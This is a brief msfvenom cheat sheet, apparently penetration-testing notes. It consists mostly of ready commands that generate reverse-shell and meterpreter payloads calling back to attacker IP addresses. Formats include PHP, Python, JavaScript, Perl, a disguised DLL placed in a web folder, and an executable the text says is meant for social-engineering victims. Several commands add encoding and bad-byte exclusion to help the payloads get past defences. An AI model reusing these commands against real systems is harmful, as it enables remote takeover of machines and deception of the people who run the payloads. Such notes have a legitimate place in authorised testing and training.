Msfvenom
Tool to generate shellcodes. Replaces the previous msfencode.
Examples:
- Generate a reverse php shellcode excluding nullbyte, CR and LF, and save it to a php file
msfvenom -p php/reverse_php -f raw lhost=192.168.1.100 lport=1234 -b"\x00\x0a\x0d" > file.php
- Shellcode for an exploit to get a windows reverse shell, using python format for the shellcode (to presumably place it in a python exploit).
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.100 LPORT=1234 -b '\x00\x0a\x0d' -i 3 -f python
- Encode with shikata ga nai the shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f python –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
- Javascript format:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.147 LPORT=443 -f js_le -e generic/none
- Include exitfunction to restart the service after exitint. Perl format:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.68 EXITFUNC=seh LPORT=1234 -b \x00\x0a\x0d -f perl
- Reverse meterpreter in a windows dll library.
msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.68 LPORT=1234 -f dll --platform windows -a x86 > /var/www/html/bethany/SciLexer.dll
Some of the parameters are: -p #payload used. -b #bytes that should be excluded, in HEX format. -f #format of the shellcode. -i #iterations, number of times the payload is encoded. LHOST #IP of the attacking machine, that will receive the reverse shell in a listener. LPORT #Port where the listener is expecting the reverse shell.
msfvenom --help-formats
Shows the available formats for creating payloads
This website contains good examples of using msfvenom:
http://hackingandsecurity.blogspot.com.es/2016/04/msfpayload-and-msfencode-have-been.html
Generate executable payloads (for example, for social engineering attacks, where a victim executes the exploit we send them):
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o shell_reverse.exe